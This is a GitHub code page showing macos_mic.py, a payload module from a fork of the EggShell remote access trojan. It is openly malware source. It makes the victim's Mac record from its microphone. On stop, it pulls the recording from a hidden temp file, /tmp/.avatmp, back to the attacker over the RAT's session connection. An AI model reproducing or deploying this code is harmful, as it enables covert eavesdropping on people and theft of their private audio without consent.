forked from The404Hacking/EggShell-RAT
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmacos_mic.py
More file actions
19 lines (18 loc) · 709 Bytes
/
Copy pathmacos_mic.py
File metadata and controls
19 lines (18 loc) · 709 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class payload:
def __init__(self):
self.name = "mic"
self.description = "record mic"
self.type = "download"
self.id = 107
def run(self,session,server,command):
result = server.sendCommand(command.split()[0],command[4:],"native",session.conn)
#print output
if len(result) > 0 and result != "1":
print result
#if we should stop, download file
if len(command.split()) > 1:
if command.split()[1] == "stop":
#if we are stopping, receive the go ahead
if result == "1":
server.sendCommand("download","/tmp/.avatmp","download",session.conn)
return ""